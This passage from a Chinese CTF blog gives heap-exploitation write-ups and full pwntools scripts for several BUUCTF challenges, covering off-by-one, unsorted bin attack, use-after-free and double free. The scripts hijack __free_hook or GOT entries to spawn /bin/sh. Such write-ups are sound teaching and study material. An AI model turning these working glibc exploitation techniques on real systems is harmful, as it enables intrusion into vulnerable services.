xor rdx,rdx;
mov rdi,1;
mov dx,0xffff;
mov rsi,{new_addr};
xor rax,rax;
mov al,0;
syscall;
mov rax,{new_addr};
jmp rax;
"""
edit(
5,
b"a" * 3
+ p64(setcontext_addr + 53)
+ p64(free_hook_addr + 0x10)
+ asm(read_shellcode),
)
# debug()
free(3)
s(asm(shellcode))
it()
exit(0)

这个题目比较不错,网上有很多种不同的利用方式,这里我就介绍我当时大概的利用方式,具体漏洞原因就在题目里面分析啦 rctf_2019_babyheap

init

这是我第一次要这么认真看init,因为开启了挺多保护的
image.png
这个其实就类似于设置option,1刚好对应的就是global_max_fast,这里就是把global_max_fast设置为0
image.png
但在我实际做题的时候,global_max_fast是0x10,但起到了禁用效果,因为我们请求的大小会被转化为实际大小,最小也是0x20,(这里不设置0可能是怕和未初始化的时候的0混淆导致重新初始化global_max_fast的值)
seccomp
不用说了,就是需要利用orw来读flag,无疑增加了一点点难度
image.png

add

add里面不写内容,并且使用calloc,所以说我们之前的那种什么free unsorted bin再malloc不管用,因为calloc会清空堆内容,别的没洞
image.png

free

没洞,清理的很干净
image.png

show

没啥好说的,一般的show操作,大概率用来泄露libc

edit

由于前面的洞不多,那么只有可能这个有洞
image.png
image.png
其实他这个read函数没问题,长度也写得对的,但跟read函数出来的有关系,我这里反编译有点问题,这是read出来会执行的代码,rdx是我们的长度,rax是堆地址,明显的off by one
image.png

小结

到目前位置,题目就只有一个漏洞,off by one,但这个也是很严重的,我们可以利用off by one进行unlink的操作,刚好这里都是unosrted bin,那么可以直接用unsorted bin来unlink,或者对于unsorted bin来说,更好的说法就是unsorted bin的堆块重叠

攻击

这里第四个块本来是为了防止unsorted bin合并到top chunk,但后面因为需要构造一个比较大的堆里面存放srop的内容,所以我就先申请了个比较大的,主要用到的就是前3个堆
image.png

泄露libc

free(0)

1
2
3
4
5
add(0x18)  # 0
add(0x18) # 1
add(0xF8) # 2
add(0x600) # 3
free(0)

image.png
因为对于unsorted bin来说,本身就有合并的操作,所以我们就是利用这个合并来导致泄露libc,当然具体合并也是通过unlink实现

chunk伪造

1
edit(1, p64(0) * 2 + p64(0x40))

image.png
利用off by one修改prev_size,这里选择f8就是因为size刚好是0x100,off by one不会对大小造成影响

合并

1
free(2)

image.png

泄露libc

因为我们idx 1的块还存在,所以只要unsorted bin的fd和bk刚好在我们idx1块内就可以泄露,于是再分配0x18个字节

1
2
3
add(0x18)  # 0
show(1)
libc_base = u64(rld().ljust(8, b"\\0")) + 0x7F6913DBD000 - 0x7F6914181B78

image.png

再一次堆块重叠

利用原有的堆块重叠,我们重新做一次重叠,这次目的就是让我们能够修改的size变大,而不仅仅是原来的-x18

收回后续的内存

1
add(0x118)  # 2

这里的2就是后面所有的unsorted bin大小,然后我们再free掉1,因为1刚好就只想的是0x118的头

重叠

1
free(1)

可以看到我们的idx2对整个区域都是有写的权限的
image.png

unsorted bin attack

利用条件

  • 可以控制unsorted bin的bk 效果就是往任意地址写入一个较大的值,这个值其实就是unsorted_bin(av)的地址

攻击
这里就要用到刚才我们构造的堆块重叠,我们在后面的bk可以很轻松的被修改 然后这里大小因为考虑到后面的继续利用,我把0x118(0x120),分成了一个0x28(0x30),一个0xe8(0xf0)

1
2
add(0x28)  # 1
add(0xE8) # 4

image.png
我们就利用中间这个0x31进行unsorted bin attack

修改unsorted bin的bk为指定地址

1
2
3
free(1)
global_max_fast_addr = libc_base + global_max_fast_offset
edit(2, p64(0) + p64(global_max_fast_addr - 0x10))

image.png
这里首先我们要伪造unsortedbin的bk指向我们要覆盖的值的周围,这里-0x10的原因跟踪源码的时候就懂了

unsorted bin attack

再malloc一个同样大小的块(这里一定要大小一样,这个大小是指实际需要的大小,比如说我们最终大小是0x30,这里可以写0x19~0x28)
add(0x28)

跟踪源码

开始跟踪源码
image.png
在__libc_calloc里面没什么好看的,主要还是看_int_malloc
image.png

_int_malloc

image.png
可以看到global_max_fast只是设置成了0x10,也就是MINI_SIZE,这里肯定不会进入fastbin的判断 进入smallbin
image.png
由于这个时候的smallbin都是空,所以尝试从unsorted bin里面分配
image.png
bck就是我们篡改的指针,因为unsorted bin是fifo,所以会通过bk指针去寻找后面的块
image.png
然后check了一下我们最外边这个unsorted bin的size
image.png
这里有个判断,会用在里面只有一个unsortedbin的情况,但由于我们篡改了指针,所以跳过
image.png
这里会把bck放到main_arena里面去,同时把bck->fd,也就是bck+0x10的地方填成main_arena的地址,也就是unsorted bin attack的结果,任意地址较大的值,而我们这里吧global_max_fast填写的比较大,就可以使用fastbin attack
image.png
到这里还没有结束 有个check,size就是我们unsorted bin的总大小,nb是实际需要的大小,这里如果相等就表示我们正好分配完了,也必须要后续处理了,就直接结束,如果不一样呢?
image.png

当我们需要分配的size小于unsorted bin大小

image.png
如果大小不匹配的话,会把我们这个unsorted bin根据大小尝试放入small bin或者large bin
image.png
这里我们就正常的把当前的victim放入到small bins里面去,然后会继续寻找unsorted bin
image.png
此时的victim就变成我们刚才伪造的那个地址,但由于那个周围都是0,所以会对victim->size报错
所以要想完成unsorted bin attack,大小也要匹配,匹配了就直接ok

恢复unsorted bin

这里可以看到我们成功的利用了unsorted bin,但可以发现现在无法malloc了,因为我们的unsorted bin结果坏了,我们需要恢复unsroted bin 由于现在fast bin很大,我们基本上很多大小的size都可以进入fastbin
image.png
这里其实可以利用数组溢出,来修改main_arena里的fd指针 因为fastbinY在bins的上面,完全可以做到溢出的 这也就是我前面分配0xe8的作用,这个的大小刚好满足

1
free(4)

image.png
同样的进入_int_free,__libc_free没有看头 进入fast_bin的范围
image.png
可以看到通过计算的fb刚好是我们要修改的地方
image.png
这里的计算方法就是size//16-2 由于这里的下标是13,所以就是(13+2)*0x10=0xf0
image.png
防止double free
image.png
这里就是更新我们当前free的chunk的fd
image.png
同时替换main_arena的值为当前的chunk地址
image.png
可以看到unosrted bin的bk再一次进入到了我们可以控制的范围

uaf

jmper_seccon_2016

漏洞比较明显,一个uaf
打longjmp,稍微看一下原来的汇编代码,看看实现
这里需要知道一个key
由于再实际远程可能tls偏移不一定,我们反向泄露
通过泄露加密后的值,然后推算原来的返回地址算出key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)


elf_path = "jmper_seccon_2016"
lib_path=""
#lib_path="/home/zhou/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64"
parm=elf_path
#parm=[elf_path,"127.0.0.1","3339"]
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
if lib_path:
libc = ELF(f"{lib_path}/libc.so.6")
else:
libc=elf.libc



if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port = 26167
io = remote(remote_ip, remote_port)
else:
if lib_path:
io = process(parm,env= {'LD_LIBRARY_PATH': lib_path})
else:
io = process(parm)



def debug():
global io
gdbscript = """
b *0x400884
c
x/20xg *0x602030
"""
gdb.attach(io, gdbscript=gdbscript)



def debug_force():
global io
io.close()
gdbscript = """
b *0x400884
c
"""
io=gdb.debug(parm, gdbscript=gdbscript)


def add():
sla(b"6. Bye :)\n",b"1")

# def free(idx):
# sla(b"Choice:\n",b"3")
# sla(b"Input the user id:\n",str(idx))

def show_name(idx):
sla(b"6. Bye :)\n",b"4")
sla(b"ID:",str(idx))


def edit(idx,content):
sla(b"6. Bye :)\n",b"2")
sla(b"ID:",str(idx))
sa(b"Input name:",content)


#溢出,可以修改堆指针
def write(idx,content):
sla(b"6. Bye :)\n",b"3")
sla(b"ID:",str(idx))
sa(b"Input memo:",content)

def show_mem(idx):
sla(b"6. Bye :)\n",b"5")
sla(b"ID:",str(idx))

def rol(val,k):
s=bin(val)[2:]
return int(s[k:]+s[:k],2)
def ror(val,k):
s=bin(val)[2:]
return int(s[-k:]+s[:len(s)-k],2)
# def convert_str_asmencode(content: str):
# out = ""
# for i in content:
# out = hex(ord(i))[2:] + out
# out = "0x" + out
# return out

#debug_force()


add()
write(0,b"a"*32+b"\x00")
edit(0,b"a"*8+p64(elf.got["puts"])+b"\n")
show_name(0)
libc_base=u64(ru(b"\x7f").ljust(8,b"\0"))-libc.sym["puts"]
add()
write(1,b"a"*32+b"\x70")
edit(1,b"a"*8+p64(0x602038)+b"\n")
show_name(1)
jmpbuf=u64(rud(b"1.").ljust(8,b"\x00"))


add()
add()
write(3,b"a"*32+b"\x50")
edit(3,b"a"*8+p64(jmpbuf+0x38)+b"\n")
show_name(3)
secret_val=u64(r(8))
secret=ror(secret_val,0x11)^0x400C31

system_addr=libc_base+libc.sym["system"]
target_val=rol(system_addr^secret,0x11)
add()
write(4,b"a"*32+b"\xc0")
edit(4,b"a"*8+p64(jmpbuf+0x38)+b"\n")
edit(4,p64(target_val)+b"\n")

add()
write(5,b"a"*32+b"\x30")
edit(5,b"a"*8+p64(jmpbuf)+b"\n")
edit(5,b"/bin/sh\n")

for i in range(25):
add()

it()

wdb_2018_2nd_Fgo

BUUCTF在线评测 (buuoj.cn)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./wdb_2018_2nd_Fgo"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port = 29192
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)

def debug():
gdbscript = """
c
x/6xw 0x804B050
"""
gdb.attach(io, gdbscript=gdbscript)

def add(size,content):
sla(b"Your choice:\n", b"1")
sla(b"the size of servant's name : \n",str(size))
sa(b"ability : ",content)

def free(index):
sla(b"Your choice:\n", b"2")
sla(b"Index : \n",str(index))

def show(index):
sla(b"Your choice:\n", b"3")
sla(b"Index :",str(index))

add(0x10,b"a")
add(0x10,b"a")
free(0)
free(1)
backdoor=0x8048956
add(0x8,p32(backdoor))
show(0)
it()

pwnable_echo2

BUUCTF在线评测 (buuoj.cn)

easy uaf

1
2
3
4
5
6
7
8
9
10
11
sla(b"name? : ", b"a")
sla(b"> ", b"2")
rl()
sl(b"%7$p")
libc_base = int(rld(), 16) - libc.sym["puts"] - 362
sla(b"> ", b"4")
sla(b"exit? (y/n)", b"n")
sla(b"> ", b"3")
s(b"a" * 0x10 + b"b" * 0x8 + p64(libc_base + one_gadget[2]))
sla(b"> ", b"2")
it()

isitdtu2019_iz_heap_lv1

BUUCTF在线评测

比较巧妙的一道题目,漏洞出现在free函数,里面数组小标越界了,由于可以控制的bss碍着保存堆地址,所以我们可以在bss里面伪造堆地址达到uaf的效果

同时注意

tcache不会检查周围的堆块

unsorted bin会检查当前的prev_inuse,后面一块的size,以及后后一块的prev_inuse

所以最方便的伪造就是

当前unsorted bin,下一个完整的块,加上一个p8(1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# from LibcSearcher import LibcSearcheronline
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./iz_heap_lv1"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if "2.23" in libc.path:
one_gadget = [0x45216, 0x4526A, 0xF02A4, 0xF1147]
elif "2.27" in libc.path:
one_gadget = [0x4F2C5, 0x4F322, 0x10A38C]
else:
one_gadget = []

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port = 25360
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)

def debug():
gdbscript = """
b
c
x/30xg 0x602060
"""
gdb.attach(io, gdbscript=gdbscript)

# 0~128
def add(size: int, content: bytes):
sla(b"Choice: \n", b"1")
sa(b"Enter size: ", str(size).encode())
sa(b"Enter data: ", content)

def edit(index: int, content: bytes):
sla(b"Choice: \n", b"2")
sa(b"Enter index: ", str(index).encode())
sa(b"input your data\n", content)

# 清空了
def free(index: int):
sla(b"Choice: \n", b"3")
sa(b"Enter index: ", str(index).encode())

def show(content: bytes):
sla(b"Choice: \n", b"4")
sa(b"edit: (Y/N)", b"Y")
sa(b"Input name: ", content)

def convert_str_asmencode(content: str):
out = ""
for i in content:
out = hex(ord(i))[2:] + out
out = "0x" + out
return out

sa(
b"nput name: ",
p64(0x602120)
+ p64(0) * 2
+ p64(0x91)
+ p64(0) * 17
+ p64(0x21)
+ p64(0) * 3
+ p8(1),
)
for i in range(7):
add(0x88, b"a" * 0x18)
for i in range(7):
free(i)
free(20)
show(b"a" * 0x1F + b"b")
ru(b"b")
libc_base = u64(ru(b"\x7f").ljust(8, b"\0")) - 0x7FF55066ECA0 + 0x7FF550283000

show(p64(0) * 3 + p64(0x91))
add(0x78, b"a")
add(0x18, b"a")
show(p64(0x602120) + p64(0) * 2 + p64(0x21))
free(20)
free_hook_addr = libc_base + libc.sym["__free_hook"]
show(p64(0) * 3 + p64(0x21) + p64(free_hook_addr))
add(0x18, b"/bin/sh\0")
add(0x18, p64(libc_base + libc.sym["system"]))
free(2)
it()

gyctf_2020_document

BUUCTF在线评测

其实题目总体还好,不算特别复杂,就是free后指针没有清零,泄露libc方式也比较直接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# from LibcSearcher import LibcSearcheronline
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./gyctf_2020_document"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if "2.23" in libc.path:
one_gadget = [0x45216, 0x4526A, 0xF02A4, 0xF1147]
elif "2.27" in libc.path:
one_gadget = [0x4F2C5, 0x4F322, 0x10A38C]
else:
one_gadget = []

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port = 27702
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)

def debug():
gdbscript = """
c
x/6xg $rebase(0x202060)
"""
gdb.attach(io, gdbscript=gdbscript)

# <=4096 无洞
def add(name: bytes, sex: bytes, content: bytes):
sa(b"choice : \n", b"1")
sa(b"name\n", name)
sa(b"sex\n", sex)
sa(b"information\n", content)

def edit(index: int, content: bytes):
sa(b"choice : \n", b"3")
sa(b"index : \n", str(index).encode())
sa(b"change sex?\n", b"n")
sa(b"information\n", content)

# 没有清空
def free(index: int):
sa(b"choice : \n", b"4")
sa(b"index : \n", str(index).encode())

def show(index: int):
sa(b"choice : \n", b"2")
sa(b"index : \n", str(index).encode())

add(b"a" * 8, b"1", b"a" * 112) # 0
add(b"/bin/sh\0", b"1", b"a" * 112) # 1
free(0)
show(0)
libc_base = u64(rld().ljust(8, b"\0")) + 0x7FA561345000 - 0x7FA561709B78

add(b"a" * 8, b"1", b"a" * 112) # 2
add(b"a" * 8, b"1", b"a" * 112)
edit(
0,
p64(0)
+ p64(0x21)
+ p64(libc_base + libc.sym["__free_hook"] - 0x10)
+ p64(1)
+ p64(0) * 1
+ p64(0x51)
+ b"a" * (112 - 8 * 6),
)
edit(3, p64(libc_base + libc.sym["system"]) + b"a" * (112 - 8))
free(1)
# debug()
it()
exit(0)

double free

actf_2020_scp_foundation_secret

题目还不错,就是free没清空
这里我利用got表覆盖
因为size只check低4字节,而且不管你符号位,比如说0x40,0x4f都可以,而且也不check prev_inuse这个内容,所以可以覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)


elf_path = "./actf_2020_scp_foundation_secret"
parm=elf_path
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc





if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port =26198
io = remote(remote_ip, remote_port)
else:
io = process(parm)



def debug():
global io
gdbscript = """
b system
c
x/10xg 0x603120
"""
gdb.attach(io, gdbscript=gdbscript)



def debug_force():
global io
io.close()
gdbscript = """
set follow-fork-mode parent
b fini
c

"""
io=gdb.debug(parm, gdbscript=gdbscript)


#112
def add(size,content,len,desc):
sla(b"> Now please tell me what you want to do :",b"2")
sla(b"> SCP name's length : ",str(size))
sa(b"> SCP name : ",content)
sla(b"> SCP description's length : ",str(len))
sa(b"> SCP description : ",desc)


#没有清空
def free(idx):
sla(b"> Now please tell me what you want to do :",b"4")
sla(b"> SCP project ID : ",str(idx))

def show(idx):
sla(b"> Now please tell me what you want to do :",b"5")
sla(b"> SCP project ID : ",str(idx))





sa(b"> Username:",b"a"*5)
sa(b"> Password:",b"For_the_glory_of_Brunhild")
add(0x58,b"a",0x58,b"b")
add(0x58,b"a",0x28,b"b")
add(0x58,b"a",0x58,b"b")
free(0)
free(1)
free(0)

add(0x28,p64(0)+p64(0x21),0x18,b"\x70")
add(0x58,b"\x50",0x58,p64(0)+p64(0x61))
add(0x58,b"\x00",0x58,p64(0)*9+p64(0xb1))


free(1)
show(1)
ru(b"SCP's description is ")
libc_base=u64(ru(b"\x7f").ljust(8,b"\0"))+0x7fec22b9f000-0x7fec22f63b78

add(0x58,b"a",0x28,b"a")
free(0)
free(1)
free(0)

add(0x28,p64(0)+p64(0x21),0x58,p64(elf.got["free"]-0x1e))
add(0x58,b"/bin/sh\0",0x58,b"a")
add(0x58,b"a"*0xe+p64(libc_base+libc.sym["system"]),0x18,b"a")
free(1)

it()

[HarekazeCTF2019]Harekaze Note

https://buuoj.cn/challenges#[HarekazeCTF2019]Harekaze%20Note
题目不错 29的libc
函数没啥问题
他有一个titile的0x28结构体,和自定义的content结构体,free的时候没有清空title里面保存的content指针,导致可以double free
这个题目我做复杂了
比如说

1
2
3
4
5
6
7
8
9
add(b"a")
edit(b"a",0x38,b"a")
free(b"a")
add(b"a")
add(b"c")
edit(b"c",0x38,b"c")
free(b"c")
free(b"a")
0x38被free了两次
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *
it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)


elf_path = "./note"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if "2.23" in libc.path:
one_gadget = [0x4526A, 0x45216, 0xF02A4, 0xF1147]
elif "2.27" in libc.path:
one_gadget = [0x4F2C5, 0x4F322, 0x10A38C]
else:
one_gadget = []

#b *$rebase(0xF56) malloc调试
# b *$rebase(0x1205) flag测试
# b *$rebase(0x148B) free
# gdbscript = """
# b *$rebase(0x1199)
# c
# """
# db=gdb.debug("./server",gdbscript=gdbscript)
# sleep(1)

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port =27993
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)


def debug():
global io
gdbscript = """
b *$rebase(0x1573)
c
x/xw $rebase(0x4060)
x/2xg $rebase(0x4090)
"""
gdb.attach(io, gdbscript=gdbscript)


# def debug_force():
# global io
# io.close()
# gdbscript = """
# b *$rebase(0x145F)
# c
# """
# io=gdb.debug(elf_path,gdbscript=gdbscript)



#15个字符
def add(title):
sla(b"Choice: ", b"1")
sla(b"Title: ",title)


def free(title):
sla(b"Choice: ", b"4")
sla(b"Title of note to delete: ",title)




def show(title):
sla(b"Choice: ", b"3")
sla(b"itle of note to show content: ",title)


def edit(title,size,content):
sla(b"Choice: ", b"2")
sla(b"Title of note to write content: ",title)
sla(b"Size of content: ",str(size))
sla(b"Content: ",content)



def convert_str_asmencode(content: str):
out = ""
for i in content:
out = hex(ord(i))[2:] + out
out = "0x" + out
return out

for i in range(6):
add(str(i))
edit(str(i),0x50,b"a")
add(str(6))
edit(str(6),0x40,b"a")
add(str(7))
edit(str(7),0x30,b"a")
add(str(8))
add(str(9))
edit(str(8),0x40,b"a")
add(b"a")
add(b"b")
edit(b"a",0x28,b"a")
free(b"a")
add(b"a")
add(b"c")

for i in range(10,20):
add(str(i))
add(b"")
edit(str(i),0x50,b"a")
for i in range(20,30):
add(str(i))
for i in range(7):
free(str(i))
free(b"c")
free(b"b")
free(b"a")#double free

for i in range(8):
add(str(i))

add(b"")
add(str(9))
add(str(10))
add(p64(0)+p16(0x441))
free(str(8))


edit(str(20),0x38,b"a")
edit(str(21),0x38,b"a")
edit(str(22),0x38,b"a")
#edit(str(23),0x18,b"a")
add(str(1))
edit(str(23),0x18,b"a")
add(b"test")
add(str(8))
show(b"test")
libc_base=u64(ru(b"\x7f").ljust(8,b"\0"))+0x7fc24e188000-0x7fc24e36cca0
add(b"11")
add(b"12")
add(b"test2".ljust(8,b"\0")+p32(0x31))
edit(b"11",0x18,b"a")
add(b"13")
show(b"test2")
heap_addr=u64(rld().ljust(8,b"\0"))
print(hex(heap_addr))


add(b"1")
add(b"2")
add(b"3")
add(b"4")
add(b"5")
edit(b"5",0x10,b"a")
add(b"a")
add(b"d")
edit(b"a",0x28,b"a")
free(b"a")
add(b"c")
add(b"a")
free(b"11")

free(b"a")
free(b"7")
free(b"c")


target_haep_addr=heap_addr-0x1e0+0x210-0x30
add(b"/bin/sh\0")
add(p64(target_haep_addr))
add(b"aa")
add(b"a")
edit(b"a",0x28,p64(0)+p64(heap_addr+0x50)+p64(0)+p64(0x21)+p64(libc_base+libc.sym["__free_hook"]))
edit(b"9",0x18,b"a")
edit(b"8",0x18,p64(libc_base+libc.sym["system"]))
free(b"/bin/sh\0")
it()


这里我做的比较复杂
首先考虑到
libc 2.29 check tcache double free
所以填满tcache,然后fast bin double
但是第一次打完以后,其实tcache坏掉了
fastbin会checkSize,但是tcache不check size
我这里利用泄露堆地址。free(0x18)的content结构体
然后利用上面相邻的0x28的结构体进行溢出,修改free tcache的ptr,伪造tcache指向free_hook然后get shell

rctf2018_rnote3

https://buuoj.cn/challenges#rctf2018_rnote3
比较巧妙的利用
image.png
由于ptr在下一次使用的时候没有被清零,如果我们连续两次调用free,那么下一次的ptr其实还是栈上之前保存的内容,导致double free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *
from time import sleep
it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)


elf_path = "./RNote3"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if "2.23" in libc.path:
one_gadget = [0x4526A, 0x45216, 0xF02A4, 0xF1147]
elif "2.27" in libc.path:
one_gadget = [0x4F2C5, 0x4F322, 0x10A38C]
else:
one_gadget = []

#b *$rebase(0xF56) malloc调试
# b *$rebase(0x1205) flag测试
# b *$rebase(0x148B) free
# gdbscript = """
# b *$rebase(0x1199)
# c
# """
# db=gdb.debug("./server",gdbscript=gdbscript)
# sleep(1)

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port =26463
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)


def debug():
global io
gdbscript = """
b *$rebase(0xCD1)
c
x/xg $rebase(0x202040)
x/20xg $rebase(0x202060)
"""
gdb.attach(io, gdbscript=gdbscript)


# def debug_force():
# global io
# io.close()
# gdbscript = """
# b *$rebase(0x145F)
# c
# """
# io=gdb.debug(elf_path,gdbscript=gdbscript)



#0~0x100
def add(title,size,data):
sl( b"1")
sla(b"please input title: ",title)
sla(b"please input content size: ",str(size))
sla(b"please input content: ",data)


def free(title):
sl(b"4")
sla(b"please input note title: ",title)




def show(title):
sl( b"2")
sla(b"please input note title: ",title)


def edit(title,content):
sl(b"3")
sla(b"please input note title: ",title)
sla(b"please input new content: ",content)



def convert_str_asmencode(content: str):
out = ""
for i in content:
out = hex(ord(i))[2:] + out
out = "0x" + out
return out


for i in range(4):
add(b"a"*(i+1),0x100,b"a")
free(b"a")
free(b"a")#double free
add(b"",0x100,b"")
add(b"",0x100,b"")
add(b"",0x100,p64(0)*11+p64(0x4c1)+b"a".ljust(0x17,b"\0"))#伪造size
free(b"a")

add(b"a",0x88,b"a")
add(b"a",0x78,b"a")#进行构造,让他刚好道chunk的位置
show(b"aa")
ru(b"note content: ")
libc_base=u64(ru(b"\x7f").ljust(8,b"\0"))+0x7f5bc3347000-0x7f5bc3732ca0
free(b"a")
free(b"c")#double free
free_hook_addr=libc_base+libc.sym["__free_hook"]
add(p32(free_hook_addr&0xffffffff)+p16((free_hook_addr>>32)&0xffff),0x18,b"/bin/sh\0")
system_addr=libc_base+libc.sym["system"]
add(p32(system_addr&0xffffffff)+p16((system_addr>>32)&0xffff),0x28,b"")
free(b"/bin/sh")

it()

qwb2018_slient2

BUUCTF在线评测 (buuoj.cn)

改free的got为system plt

额打远程需要加上sleep

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61

from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
